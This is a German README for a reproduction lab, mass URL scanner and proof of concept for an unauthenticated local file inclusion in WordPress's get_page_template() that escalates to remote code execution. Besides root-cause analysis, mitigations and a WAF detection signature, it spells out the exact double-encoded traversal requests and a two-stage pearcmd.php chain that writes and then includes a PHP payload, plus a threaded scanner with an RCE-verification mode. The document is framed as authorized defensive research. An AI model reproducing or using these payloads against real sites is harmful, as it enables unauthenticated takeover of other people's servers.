Reproduktions-Lab + URL-Listen-Scanner + PoC für CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() unauthentifizierte LFI zu bedingter RCE (WP 4.7.0-7.1.1, behoben in 7.1.2). Autorisierte/defensive Tests.
get_page_template() unauthentifizierte LFI → bedingte RCEReproduktions-Lab + URL-Listen-Scanner + PoC, gebaut und Ende-zu-Ende validiert gegen echte WordPress 7.1.1 (verwundbar) und 7.1.2 (gepatcht) im Docker-Lab.
include/require (Path Traversal → lokale PHP-Inklusion)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-* (z. B. — vorhanden in Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) nur für RCE: eine lesbare und .page-templates/pearcmd.phpregister_argc_argv=Onwp-includes/template.php :: get_page_template() baut einen Template-Kandidaten aus der
angreiferkontrollierten pagename-Query-Variable ohne validate_file():
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
locate_template() führt dann file_exists($theme_dir . '/' . $candidate) aus und includet den Treffer.
Da der Kandidat page-{...}.php lautet, muss die Payload ein echtes Theme-Verzeichnis fortsetzen, das
mit page- beginnt (z. B. page-templates/) und dann mit ../ zu einer beliebigen lesbaren .php hochklettern.
Doppelkodierung ist zwingend erforderlich. get_query_var('pagename') wird von PHP bereits einfach dekodiert, daher bewirkt ein einfaches ../, dass urldecode($pagename) === $pagename gilt und der verwundbare Zweig übersprungen wird. Ein
doppelt kodiertes %252e%252e%252f übersteht die erste Dekodierung als %2e%2e%2f und wird erst durch das zusätzliche urldecode() in ../ umgewandelt — was der Bug ist.
lab/)Echte Releases nebeneinander auf dem Docker-Host, die sich nur durch den Sicherheitsfix unterscheiden:
| Service | URL (nur Loopback) | WordPress | Rolle |
|---|---|---|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | verwundbar |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | gepatchte Kontrolle |
db | — | MySQL 8.4 | geteilt (zwei Datenbanken) |
Basis-Image wordpress:php8.3-apache (das bereits pearcmd.php und register_argc_argv=On mitbringt),
wobei der mitgelieferte Core gegen die authentische wordpress-7.1.1.zip / 7.1.2.zip ausgetauscht wurde. Twenty Fourteen ist
aktiviert (echtes page-templates/), und ein page-templates/-Fixture wird ebenfalls im aktiven Theme erstellt.
Veröffentlichte Seiten-ID = 2 (Sample Page).
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
Ports binden nur an 127.0.0.1 — die verwundbare Instanz ist niemals netzwerkexponiert.
poc/cve-2026-87902-scan.py)Python 3, nur Standardbibliothek (kein pip install). Nimmt eine Liste von URLs entgegen und meldet, welche
verwundbar sind. Der Standard-Scan ist nicht destruktiv: Er inkludiert die schreibgeschützte Core-Datei
wp-links-opml.php und sucht nach dem resultierenden OPML-Dokument — Beweis, dass die beliebige .php-Inklusion
ausgelöst wurde, ohne Schreibvorgänge und ohne Zustandsänderung.
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php →
readme.html → /wp-includes/-Asset ?ver=)./wp/v2/pages, ?rest_route=-Fallback, Homepage
page-id-N, Standard page_id=2) — erforderlich, damit die Anfrage zu einer Page aufgelöst wird und get_page_template() ausgeführt wird.segment × depth (Standard-Segment templates, Tiefen 4,3,5,6,7) sende
page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> (POST, um den kanonischen Redirect zu umgehen) und
erfordere ein HTTP 200 mit <opml version="1.0"> + einem strukturellen Sekundärmarker
(</opml> / <outline / <dateCreated>)..php zeigend. Erscheint OPML weiterhin, ist das OPML umgebungsbedingt (Proxy / Cache / Feed-
App), nicht unsere Inklusion → herabgestuft zu POSSIBLY. Nur ein Treffer, dessen Kontrolle sauber ist, ist VULNERABLE.Robustheit: bewahrt Unterverzeichnispfade (http://host/blog), behandelt gzip/deflate und ungewöhnliche Zeichensätze,
wiederholt eine Probe einmal bei Transportfehler, ermittelt/validiert Seiten-IDs (REST → ?rest_route= → Homepage
→ Standardwerte), erzwingt ein Zeitbudget pro Ziel und behauptet niemals NOT_VULNERABLE aus einer Quelle mit geringer
Versionssicherheit (Asset ?ver= / readme.html) — diese werden zu POSSIBLY herabgestuft.
| Verdikt | Bedeutung |
|---|---|
VULNERABLE | OPML-Orakel ausgelöst — LFI bestätigt (definitiv) |
NOT_VULNERABLE | gepatchte Branch-Version oder Version außerhalb 4.7.0–7.1.1 |
POSSIBLY_VULNERABLE | verwundbare/unbekannte Version, aber Orakel stumm (wahrscheinlich kein page-*-Theme-Verzeichnis, nicht standardmäßiges Layout oder keine ermittelbare Seiten-ID) — manuell verifizieren |
NOT_WORDPRESS / ERROR | keine WP-Indikatoren / Transportfehler |
Exit-Code: 2 bei jeglichem VULNERABLE, 1 bei jeglichem POSSIBLY (und keinem VULNERABLE), sonst 0.
Nützliche Flags: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids,
--max-time (Budget pro Ziel), --timeout, --threads, --proxy, --header, --insecure
(TLS aus — nur Dev), --json, --jsonl. Für eine WordPress-Installation in einem Unterverzeichnis die vollständige Basis
übergeben (z. B. https://host/blog); bei Bedrock/Core-in-wp/ versucht der Sweep auch wp/-präfixierte Orakel-Ziele.
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
Führt die PEAR-pearcmd.php-Kette aus: Der +-getrennte Query-String trägt config-create-argv, die einen
anführungszeichenfreien Marker .php unter /tmp schreiben; eine zweite Anfrage inkludiert ihn. Gibt den ausgeführten Marker +
php_uname() + uid aus. Schreibt eine Datei auf dem Ziel → Einzelziel, erfordert --i-have-authorization,
standardmäßig aus.
evidence/)| Datei | Was sie beweist |
|---|---|
manual-validate.sh / ev-lfi.log | OPML-Orakel löst auf 7.1.1 aus (Tiefe 4, POST und GET), stumm auf 7.1.2; nur Tiefe 4 funktioniert; Einfachkodierung schlägt fehl |
rce-validate.sh / ev-rce.log | vollständige PEAR-RCE auf 7.1.1 (uid=33 als www-data, Tiefe 7); gepatcht schreibt keine Datei, führt nichts aus |
ev-scan-table.log / ev-scan-results.json | Scanner über {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |
Bewiesene Anfrageformen:
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off für die Web-SAPI setzen und pearcmd.php entfernen/verweigern;
dies entfernt die RCE-Eskalation, selbst wenn die LFI erreichbar ist.pagename blockieren, der .. enthält; das gemeinsame Auftreten von page_id + einem pagename, das mit templates%252f beginnt /
%252e%252e enthält, auf der Site-Root oder /index.php ist ein nahezu sicheres Exploit-Signal.Nur autorisiertes Sicherheitstesting, Schulung und defensive Forschung.